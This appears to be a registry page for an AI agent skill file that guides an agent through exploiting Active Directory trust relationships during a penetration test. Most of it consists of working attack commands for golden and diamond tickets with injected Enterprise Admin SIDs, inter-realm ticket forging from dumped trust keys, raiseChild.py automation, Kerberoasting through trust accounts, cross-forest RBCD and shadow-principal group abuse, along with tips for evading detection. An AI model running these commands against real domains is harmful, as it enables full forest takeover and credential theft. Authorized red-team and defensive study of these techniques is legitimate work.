blacklanternsecurity

trust-attacks

Enumerates Active Directory trust relationships and exploits them for cross-domain and cross-forest privilege escalation. Covers trust enumeration (nltest, PowerView, BloodHound), SID history injection (child domain to forest root via golden/diamond ticket with extra SIDs), inter-realm TGT forging using trust keys, cross-forest trust abuse (SID filtering bypass, RBCD, Kerberoasting via trust account), and PAM trust exploitation (shadow principals in bastion forests).

blacklanternsecurity 208 24 Updated 3mo ago
GitHub

Install

npx skillscat add blacklanternsecurity/red-run/trust-attacks

Install via the SkillsCat registry.

SKILL.md

Trust Attacks

You are helping a penetration tester enumerate and exploit Active Directory
trust relationships for cross-domain and cross-forest privilege escalation.
All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [trust-attacks] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with
    descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

Access required: Domain Admin in at least one domain (for trust key
extraction and krbtgt hash). Lower-privilege paths exist for trust account
authentication.

Kerberos authentication setup (for enumeration and tool execution):

# Obtain TGT
getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/username.ccache

# All Impacket commands: -k -no-pass
# NetExec: --use-kcache
# bloodyAD: -k

Tools: Mimikatz, Rubeus, Impacket (ticketer.py, raiseChild.py,
lookupsid.py, secretsdump.py, psexec.py), PowerView, bloodyAD, NetExec.

Step 1: Enumerate Trust Relationships

Trust Discovery

# Native Windows
nltest /trusted_domains

# PowerView — all trusts with properties
Get-DomainTrust
Get-DomainTrust -Domain parent.local

# AD Module — trust properties (critical for attack viability)
Get-ADTrust -Filter * -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive

# .NET — all trusts from current domain
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# NetExec module
nxc ldap DC_IP -u 'user' -p 'pass' --use-kcache -M enum_trusts

# Impacket — enumerate SIDs in target domain
lookupsid.py -k -no-pass DOMAIN/user@DC_IP

Key Properties to Assess

Property Impact
SIDFilteringQuarantined If False, SID history injection works across trust
SelectiveAuthentication If True, only explicitly allowed users can authenticate
ForestTransitive Indicates forest-level trust (broader scope)
TrustDirection Inbound/Outbound/Bidirectional — determines attack direction
TGTDelegation If True, unconstrained delegation possible across trust

Cross-Domain Group Membership

# Foreign group members (users from other domains in local groups)
Get-DomainForeignGroupMember
Get-DomainForeignGroupMember -Domain parent.local

# Foreign users with local admin
Get-NetLocalGroupMember -ComputerName dc.parent.local

Trust Type Decision Tree

Trust Found
├── Parent-Child (in-forest) → SID filtering NOT enforced → Step 2 (SID History)
├── Forest Trust
│   ├── SIDFilteringQuarantined = False → Step 2 (SID History cross-forest)
│   ├── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) or Step 5 (enum only)
│   └── PAM trust attributes → Step 4 (Shadow Principals)
├── External Trust
│   ├── SIDFilteringQuarantined = False → Step 2 (SID History)
│   └── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) + Step 5
└── One-Way Trust
    ├── Inbound (they trust us) → Step 3 (authenticate into their domain)
    └── Outbound (we trust them) → Step 5 (limited attack surface)

Step 2: SID History Injection (Child -> Parent / Cross-Forest)

The primary trust escalation technique. Forge a ticket in the child domain
with the parent domain's Enterprise Admins SID (S-1-5-21-PARENT-519) in
the SID history field.

Prerequisite: krbtgt hash from child domain + parent domain SID.

Obtain Domain SIDs

# Child domain SID
lookupsid.py -k -no-pass CHILD.LOCAL/user@child-dc 0

# Parent domain SID + Enterprise Admins
lookupsid.py -k -no-pass CHILD.LOCAL/user@parent-dc | grep "Enterprise Admins"
# Note the SID before -519 as the parent domain SID

Golden Ticket with Extra SIDs (Mimikatz)

# AES256 preferred — avoids RC4 detection
kerberos::golden /user:Administrator /domain:child.local /sid:S-1-5-21-CHILD_SID /aes256:<CHILD_KRBTGT_AES256> /sids:S-1-5-21-PARENT_SID-519 /startoffset:-10 /endin:600 /renewmax:10080 /ptt

# RC4 fallback
kerberos::golden /user:Administrator /domain:child.local /sid:S-1-5-21-CHILD_SID /rc4:<CHILD_KRBTGT_RC4> /sids:S-1-5-21-PARENT_SID-519 /ptt

Use /startoffset, /endin, /renewmax to match domain policy (avoid
default 10-year lifetime which is an obvious detection indicator).

Diamond Ticket with Extra SIDs (Rubeus — Recommended for OPSEC)

Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-PARENT_SID-519 /krbkey:<CHILD_KRBTGT_AES256> /nowrap /ldap

Diamond ticket modifies a legitimate TGT — generates matching 4768->4769
event pairs (golden ticket skips the 4768).

Impacket ticketer.py (Linux)

# Generate ticket with extra SID
ticketer.py -nthash <CHILD_KRBTGT_NTLM> \
  -domain child.local \
  -domain-sid S-1-5-21-CHILD_SID \
  -extra-sid S-1-5-21-PARENT_SID-519 \
  Administrator

# Or with AES (preferred)
ticketer.py -aesKey <CHILD_KRBTGT_AES256> \
  -domain child.local \
  -domain-sid S-1-5-21-CHILD_SID \
  -extra-sid S-1-5-21-PARENT_SID-519 \
  Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass child.local/Administrator@parent-dc.parent.local
secretsdump.py -k -no-pass child.local/Administrator@parent-dc.parent.local

Automated: raiseChild.py

# Full automation: extract krbtgt, get parent SID, forge ticket, authenticate
raiseChild.py -target-exec parent-dc.parent.local child.local/admin_user

# With Kerberos auth
raiseChild.py -k -no-pass -target-exec parent-dc.parent.local child.local/admin_user

Automatically: gets Enterprise Admins SID from parent, retrieves child
krbtgt, creates golden ticket with extra SID, authenticates to parent DC,
extracts parent admin credentials.

PAC Validation Considerations (2025+)

Windows Server 2025 DCs with PAC signature validation in enforcement mode
(CVE-2024-26248/29056) require valid cross-realm PAC signatures. Check
registry PacSignatureValidationLevel:

  • Compatibility mode (default during rollout): forged PAC accepted
  • Enforcement mode (2025+ default): requires trust key to sign PAC

If enforcement mode is active, use trust ticket approach (Step 3) instead.

Step 3: Inter-Realm TGT Forging (Trust Ticket)

Forge an inter-realm TGT using the trust account key. Useful when:

  • You have the trust key but not the krbtgt hash
  • PAC enforcement blocks SID history injection
  • Attacking external/forest trusts where SID filtering is enabled

Extract Trust Key

# Mimikatz — dump trust keys from DC
lsadump::trust /patch
# Look for: [In] DOMAIN$ -> NTLM: <RC4>, AES256: <AES>
# Look for: [Out] DOMAIN$ -> NTLM: <RC4>, AES256: <AES>

# Alternative: DCSync the trust account
lsadump::lsa /inject /name:TARGETDOMAIN$
# Impacket — DCSync trust account
secretsdump.py -k -no-pass DOMAIN/admin@dc | grep '\$'

Forge Inter-Realm TGT

# Mimikatz — inter-realm TGT (referral ticket)
kerberos::golden /domain:source.local /sid:S-1-5-21-SOURCE_SID /rc4:<TRUST_RC4> /user:Administrator /service:krbtgt /target:target.local /ticket:trust.kirbi

# Request service ticket in target domain
Rubeus.exe asktgs /ticket:trust.kirbi /service:CIFS/dc.target.local /dc:dc.target.local /ptt

Trust Account Authentication

# Authenticate as the trust account itself
Rubeus.exe asktgt /user:TARGETDOMAIN$ /domain:source.local /rc4:<TRUST_RC4> /dc:dc.source.local /ptt

# Now Kerberoast in target domain
Rubeus.exe kerberoast /domain:target.local
# From Linux
getTGT.py -hashes :<TRUST_NTLM> source.local/TARGETDOMAIN\$
export KRB5CCNAME=TARGETDOMAIN\$.ccache

# Kerberoast via trust account
GetUserSPNs.py -k -no-pass -target-domain target.local source.local/TARGETDOMAIN\$

Step 4: PAM Trust Exploitation (Shadow Principals)

PAM (Privileged Access Management) trusts use shadow security principals in
a bastion forest to manage access to production forests. Compromising the
bastion forest gives instant access to all managed forests.

Prerequisite: Windows Server 2016 or later. Trust with
ForestTransitive=True and SIDFilteringQuarantined=False.

Enumerate Shadow Principals

# Find shadow principal configuration
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | Select Name,member,msDS-ShadowPrincipalSid

# Example output:
# Name: forest-ShadowEnterpriseAdmin
# member: CN=PAMAdmin,CN=Users,DC=bastion,DC=local
# msDS-ShadowPrincipalSid: S-1-5-21-MANAGED_SID-519

Exploit: Add User to Shadow Principal Group

# Windows — add compromised user to shadow principal
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" -Add @{'member'="CN=compromised_user,CN=Users,DC=bastion,DC=local"}
# Linux — bloodyAD (Kerberos auth)
bloodyAD --host bastion-dc -d bastion.local -k add groupMember \
  'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local' \
  compromised_user

Result: compromised user now has Enterprise Admin rights in all managed
forests via the shadow principal SID mapping.

Step 5: Cross-Forest Enumeration via Trust Account

When SID filtering is enabled and direct escalation is blocked, use the
trust account for reconnaissance in the target forest.

Kerberoasting via Trust

# Authenticate as trust account
getTGT.py -hashes :<TRUST_NTLM> source.local/TARGETDOMAIN\$
export KRB5CCNAME=TARGETDOMAIN\$.ccache

# Kerberoast in target domain
GetUserSPNs.py -k -no-pass -target-domain target.local source.local/TARGETDOMAIN\$ -outputfile trust-kerberoast.txt

Cross-Forest RBCD

When you control a machine account in the trusted forest and have write
access to a computer in the trusting forest:

# 1. Set RBCD on target in trusting forest
Set-ADComputer -Identity victim-host$ -PrincipalsAllowedToDelegateToAccount OURHOST$

# 2. Request inter-realm TGT
Rubeus.exe asktgt /user:OURHOST$ /domain:our.local /rc4:<RC4> /ptt

# 3. S4U impersonation
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/victim-host.target.local /altservice:LDAP /ptt

Enumerate Across Trust

# BloodHound collection across trust
bloodhound-python -u 'user' -p 'pass' -d target.local -ns TARGET_DC_IP -c All

# LDAP queries into target domain
nxc ldap TARGET_DC -u 'user' -p 'pass' -d target.local --users
nxc ldap TARGET_DC -u 'user' -p 'pass' -d target.local --groups

Step 6: Escalate or Pivot

After successful trust exploitation:

  • Enterprise Admin in parent domain: Route to credential-dumping
    (DCSync the parent domain) for complete forest compromise
  • Access to new forest: Route to ad-discovery to enumerate
    the new forest from the inside
  • Service account hashes from Kerberoasting: Save hashes to
    engagement/evidence/, route to credential-cracking (hashcat mode
    13100/18200), then pass-the-hash with cracked credentials
  • Machine account control in target forest: Route to
    kerberos-delegation (RBCD) for targeted escalation
  • ADCS in target domain: Route to adcs-template-abuse for
    certificate-based persistence
  • Post-compromise persistence: Route to ad-persistence (golden
    certificate, DCShadow, ADFS)

Update engagement/state.md with:

  • New domain/forest access
  • Trust keys extracted
  • Cross-domain credentials

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
stop.

What counts as progress:

  • Trying a variant or alternative documented in this skill
  • Adjusting syntax, flags, or parameters per the Troubleshooting section
  • Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

  • Writing custom exploit code not provided in this skill
  • Inventing workarounds using techniques from other domains
  • Retrying the same command with trivially different input
  • Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

  1. Try each variant or alternative once
  2. Check the Troubleshooting section for known fixes
  3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

  • What was attempted (commands, variants, alternatives tried)
  • What failed and why (error messages, empty responses, timeouts)
  • Assessment: blocked (permanent — config, patched, missing prereq) or
    retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

Troubleshooting

SID History Injection Fails

  • SID filtering enabled: Check Get-ADTrust -Properties SIDFilteringQuarantined.
    If True on forest trust, SID history is stripped. Use trust ticket (Step 3)
    or Kerberoasting via trust account (Step 5) instead.
  • Selective Authentication: Check SelectiveAuthentication property.
    If True, only explicitly allowed users can authenticate across the trust.
  • PAC validation enforcement: Windows Server 2025+ DCs may enforce PAC
    signatures. Use diamond ticket or trust ticket approach.

Trust Key Extraction Fails

  • lsadump::trust /patch fails: Try lsadump::lsa /inject /name:DOMAIN$
    or DCSync the trust account: secretsdump.py -k -no-pass domain/admin@dc.
  • Trust key rotated: Trust passwords rotate every 30 days. Extract the
    current key, not a cached one.

Cross-Forest Access Denied

  • Clock skew (KRB_AP_ERR_SKEW): Clock Skew Interrupt — stop
    immediately and return to the orchestrator. Do not retry or fall back to
    NTLM. Fix requires root: sudo ntpdate TARGET_DC
  • DNS resolution: Target DC must be resolvable. Add /etc/hosts entries
    or configure DNS forwarding.
  • Service ticket refused: Verify the service exists and the trust account
    has access. Try CIFS first (most permissive).

raiseChild.py Errors

  • "Cannot find the domain": Ensure DNS resolution for both child and
    parent domain. Add /etc/hosts entries for both DCs.
  • "Access denied": Requires DA in the child domain. Verify with
    nxc smb child-dc -k --use-kcache.

Diamond Ticket SID History

  • Rubeus diamond fails: Ensure /ldap flag is included for PAC
    attribute resolution. Use /tgtdeleg for automatic TGT acquisition.
  • Missing /sids: The /sids parameter is required for cross-domain
    escalation — without it, the ticket is valid only in the current domain.

OPSEC Comparison

Technique OPSEC Detection Notes
Trust enumeration Low Read-only LDAP queries Standard recon
Diamond ticket + extra SID Medium 4768+4769 pair (normal) Best for stealth
Golden ticket + extra SID Medium-High 4769 without 4768 Detectable pattern
Inter-realm TGT (trust key) Medium Service ticket requests from trust account Unusual but not alarming
Trust account Kerberoasting Low-Medium 4769 events Offline cracking
raiseChild.py High Full chain (DCSync + ticket + auth) Automated = fast but loud
PAM shadow principal modification Medium 5136 (object modification) Bastion forest only
Cross-forest RBCD Medium S4U2Proxy events (4769) Requires write access